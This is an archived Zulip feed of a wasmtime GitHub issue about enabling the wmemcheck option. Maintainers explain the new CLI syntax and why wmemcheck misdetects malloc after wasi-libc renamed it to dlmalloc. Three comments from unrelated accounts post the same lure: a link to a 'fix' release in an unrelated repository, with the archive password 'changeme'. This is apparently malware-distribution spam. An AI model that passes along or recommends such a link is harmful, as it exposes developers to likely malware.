Stream: git-wasmtime

Topic: wasmtime / issue #9181 How to build wasmtime with wmemche...


view this post on Zulip Wasmtime GitHub notifications bot (Aug 29 2024 at 01:09):

trcrsired opened issue #9181:

I build wasmtime with this command and still it does not find --wmemcheck why?

$ cargo build --features wmemcheck --release

wasmtime run --wmemcheck hello
error: unexpected argument '--wmemcheck' found

  tip: to pass '--wmemcheck' as a value, use '-- --wmemcheck'

Usage: wasmtime run [OPTIONS] <WASM>...

For more information, try '--help'

view this post on Zulip Wasmtime GitHub notifications bot (Aug 29 2024 at 01:10):

louseee commented on issue #9181:

to fix your trouble check this fix, i see it in another issue,
https://github.com/Jostino/RimWorld-it/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

view this post on Zulip Wasmtime GitHub notifications bot (Aug 29 2024 at 01:11):

64dB0y commented on issue #9181:

to fix your trouble check this fix, i see it in another issue,
https://github.com/Jostino/RimWorld-it/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

view this post on Zulip Wasmtime GitHub notifications bot (Aug 29 2024 at 14:08):

bjorn3 commented on issue #9181:

You need -W wmemcheck=y/--wasm wmemcheck=y. Looks like the docs didn't get changed when the cli options got changed a while back.

view this post on Zulip Wasmtime GitHub notifications bot (Aug 29 2024 at 16:01):

abrown closed issue #9181:

I build wasmtime with this command and still it does not find --wmemcheck why?

$ cargo build --features wmemcheck --release

wasmtime run --wmemcheck hello
error: unexpected argument '--wmemcheck' found

  tip: to pass '--wmemcheck' as a value, use '-- --wmemcheck'

Usage: wasmtime run [OPTIONS] <WASM>...

For more information, try '--help'

view this post on Zulip Wasmtime GitHub notifications bot (Aug 29 2024 at 21:46):

trcrsired commented on issue #9181:

You need -W wmemcheck=y/--wasm wmemcheck=y. Looks like the docs didn't get changed when the cli options got changed a while back.

#include<fcntl.h>
#include<unistd.h>

int main()
{
 int fd = open("example.txt", O_RDWR | O_CREAT, S_IRUSR | S_IWUSR);
}
$ wasmtime --wasm wmemcheck=y --dir . ./test.wasm
Error: failed to run main module `./test.wasm`

Caused by:
    0: failed to invoke command default
    1: error while executing at wasm backtrace:
           0:  0xb3e - test.wasm!dlmalloc
           1: 0x232b - test.wasm!calloc
           2: 0x2537 - test.wasm!internal_register_preopened_fd_unlocked
           3: 0x24ac - test.wasm!__wasilibc_populate_preopens
           4: 0x266d - test.wasm!__wasilibc_find_abspath
           5: 0x264a - test.wasm!__wasilibc_find_relpath
           6: 0x23ae - test.wasm!open
           7: 0x2f09 - test.wasm!__main_void
           8:  0x1a7 - test.wasm!_start
    2: Invalid store at addr 0x1066c of size 4

calloc does not work right?

view this post on Zulip Wasmtime GitHub notifications bot (Aug 29 2024 at 22:19):

cfallin commented on issue #9181:

It looks like wmemcheck's heuristic for finding malloc and avoiding instrumenting stores within the malloc implementation itself is no longer valid -- here the implementation looks for functions named malloc and free, but at some point wasi-libc must have renamed malloc to dlmalloc.

You're welcome to submit a PR to accept both options. Note that wmemcheck is described in the documentation as experimental and unfinished -- we had an intern build it last year and it was an excellent start but it needs a little more polish before we mark the option as "polished" and included in default builds. For example (to save you the trouble of filing another bug report!), it also doesn't support realloc currently.

view this post on Zulip Wasmtime GitHub notifications bot (Aug 29 2024 at 22:22):

trcrsired commented on issue #9181:

It looks like wmemcheck's heuristic for finding malloc and avoiding instrumenting stores within the malloc implementation itself is no longer valid -- here the implementation looks for functions named malloc and free, but at some point wasi-libc must have renamed malloc to dlmalloc.

You're welcome to submit a PR to accept both options. Note that wmemcheck is described in the documentation as experimental and unfinished -- we had an intern build it last year and it was an excellent start but it needs a little more polish before we mark the option as "polished" and included in default builds. For example (to save you the trouble of filing another bug report!), it also doesn't support realloc currently.

So the implementation is still ongoing and far from usable at this point right? And if the symbols got stripped, it cannot detect issues either right since now the wasmtime cannot find malloc and calloc

view this post on Zulip Wasmtime GitHub notifications bot (Aug 29 2024 at 22:26):

cfallin commented on issue #9181:

That's correct.

view this post on Zulip Wasmtime GitHub notifications bot (Oct 07 2024 at 10:29):

github-staff deleted a comment on issue #9181:

to fix your trouble check this fix, i see it in another issue,
https://github.com/Jostino/RimWorld-it/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


Last updated: Nov 22 2024 at 17:03 UTC